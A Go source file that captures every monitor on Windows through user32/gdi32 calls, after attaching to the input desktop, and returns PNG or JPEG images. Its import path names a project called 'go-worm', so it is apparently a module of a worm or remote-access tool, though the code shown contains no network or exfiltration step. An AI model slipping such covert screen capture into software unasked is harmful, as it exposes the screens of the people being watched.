158 lines
4.5 KiB
Go
158 lines
4.5 KiB
Go
package screenshot
|
|||
|
|
|
||
|
|
import (
|
||
|
|
"bytes"
|
||
|
|
"errors"
|
||
|
|
"image"
|
||
|
|
"image/jpeg"
|
||
|
|
"image/png"
|
||
|
|
"runtime"
|
||
|
|
"syscall"
|
||
|
|
"unsafe"
|
||
|
|
|
||
|
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||
|
|
)
|
||
|
|
|
||
|
|
var (
|
||
|
|
user32 = syscall.NewLazyDLL("user32.dll")
|
||
|
|
gdi32 = syscall.NewLazyDLL("gdi32.dll")
|
||
|
|
procOpenInputDesktop = user32.NewProc("OpenInputDesktop")
|
||
|
|
procSetThreadDesktop = user32.NewProc("SetThreadDesktop")
|
||
|
|
procCloseDesktop = user32.NewProc("CloseDesktop")
|
||
|
|
procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors")
|
||
|
|
procGetDC = user32.NewProc("GetDC")
|
||
|
|
procReleaseDC = user32.NewProc("ReleaseDC")
|
||
|
|
procCreateCompatibleDC = gdi32.NewProc("CreateCompatibleDC")
|
||
|
|
procDeleteDC = gdi32.NewProc("DeleteDC")
|
||
|
|
procCreateDIBSection = gdi32.NewProc("CreateDIBSection")
|
||
|
|
procDeleteObject = gdi32.NewProc("DeleteObject")
|
||
|
|
procSelectObject = gdi32.NewProc("SelectObject")
|
||
|
|
procBitBlt = gdi32.NewProc("BitBlt")
|
||
|
|
)
|
||
|
|
|
||
|
|
type rect struct {
|
||
|
|
Left, Top, Right, Bottom int32
|
||
|
|
}
|
||
|
|
|
||
|
|
type bitmapInfoHeader struct {
|
||
|
|
Size uint32
|
||
|
|
Width int32
|
||
|
|
Height int32
|
||
|
|
Planes uint16
|
||
|
|
BitCount uint16
|
||
|
|
Compression uint32
|
||
|
|
SizeImage uint32
|
||
|
|
XPelsPerMeter int32
|
||
|
|
YPelsPerMeter int32
|
||
|
|
ClrUsed uint32
|
||
|
|
ClrImportant uint32
|
||
|
|
}
|
||
|
|
|
||
|
|
type bitmapInfo struct {
|
||
|
|
Header bitmapInfoHeader
|
||
|
|
Colors [1]uint32
|
||
|
|
}
|
||
|
|
|
||
|
|
func Capture(format string, quality int) ([]models.CapturedImage, error) {
|
||
|
|
runtime.LockOSThread()
|
||
|
|
defer runtime.UnlockOSThread()
|
||
|
|
if err := attachInputDesktop(); err != nil {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
monitors, err := enumerateMonitors()
|
||
|
|
if err != nil {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
if len(monitors) == 0 {
|
||
|
|
return nil, errors.New("no displays found")
|
||
|
|
}
|
||
|
|
result := make([]models.CapturedImage, 0, len(monitors))
|
||
|
|
for _, monitor := range monitors {
|
||
|
|
img, err := captureRect(monitor)
|
||
|
|
if err != nil {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
data, contentType, err := encodeImage(img, format, quality)
|
||
|
|
if err != nil {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
result = append(result, models.CapturedImage{ContentType: contentType, Data: data})
|
||
|
|
}
|
||
|
|
return result, nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func attachInputDesktop() error {
|
||
|
|
h, _, err := procOpenInputDesktop.Call(0, 0, 0x0001|0x0040)
|
||
|
|
if h == 0 {
|
||
|
|
return err
|
||
|
|
}
|
||
|
|
defer procCloseDesktop.Call(h)
|
||
|
|
ok, _, err := procSetThreadDesktop.Call(h)
|
||
|
|
if ok == 0 {
|
||
|
|
return err
|
||
|
|
}
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func enumerateMonitors() ([]rect, error) {
|
||
|
|
var monitors []rect
|
||
|
|
callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr {
|
||
|
|
if monitorRect != 0 {
|
||
|
|
monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect)))
|
||
|
|
}
|
||
|
|
return 1
|
||
|
|
})
|
||
|
|
ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0)
|
||
|
|
if ok == 0 {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
return monitors, nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func captureRect(r rect) (*image.RGBA, error) {
|
||
|
|
width, height := int(r.Right-r.Left), int(r.Bottom-r.Top)
|
||
|
|
if width <= 0 || height <= 0 {
|
||
|
|
return nil, errors.New("invalid monitor dimensions")
|
||
|
|
}
|
||
|
|
screenDC, _, err := procGetDC.Call(0)
|
||
|
|
if screenDC == 0 {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
defer procReleaseDC.Call(0, screenDC)
|
||
|
|
memDC, _, err := procCreateCompatibleDC.Call(screenDC)
|
||
|
|
if memDC == 0 {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
defer procDeleteDC.Call(memDC)
|
||
|
|
bmi := bitmapInfo{Header: bitmapInfoHeader{Size: uint32(unsafe.Sizeof(bitmapInfoHeader{})), Width: int32(width), Height: -int32(height), Planes: 1, BitCount: 32, Compression: 0}}
|
||
|
|
var bits unsafe.Pointer
|
||
|
|
bitmap, _, err := procCreateDIBSection.Call(screenDC, uintptr(unsafe.Pointer(&bmi)), 0, uintptr(unsafe.Pointer(&bits)), 0, 0)
|
||
|
|
if bitmap == 0 || bits == nil {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
defer procDeleteObject.Call(bitmap)
|
||
|
|
old, _, _ := procSelectObject.Call(memDC, bitmap)
|
||
|
|
defer procSelectObject.Call(memDC, old)
|
||
|
|
const srccopy = 0x00CC0020 | 0x40000000 // SRCCOPY | CAPTUREBLT
|
||
|
|
ok, _, err := procBitBlt.Call(memDC, 0, 0, uintptr(width), uintptr(height), screenDC, uintptr(int64(r.Left)), uintptr(int64(r.Top)), srccopy)
|
||
|
|
if ok == 0 {
|
||
|
|
return nil, err
|
||
|
|
}
|
||
|
|
raw := unsafe.Slice((*byte)(bits), width*height*4)
|
||
|
|
pix := make([]byte, len(raw))
|
||
|
|
for i := 0; i < len(raw); i += 4 {
|
||
|
|
pix[i], pix[i+1], pix[i+2], pix[i+3] = raw[i+2], raw[i+1], raw[i], raw[i+3]
|
||
|
|
}
|
||
|
|
return &image.RGBA{Pix: pix, Stride: width * 4, Rect: image.Rect(0, 0, width, height)}, nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) {
|
||
|
|
var buffer bytes.Buffer
|
||
|
|
if format == "jpeg" {
|
||
|
|
err := jpeg.Encode(&buffer, img, &jpeg.Options{Quality: quality})
|
||
|
|
return buffer.Bytes(), "image/jpeg", err
|
||
|
|
}
|
||
|
|
err := png.Encode(&buffer, img)
|
||
|
|
return buffer.Bytes(), "image/png", err
|
||
|
|
}
|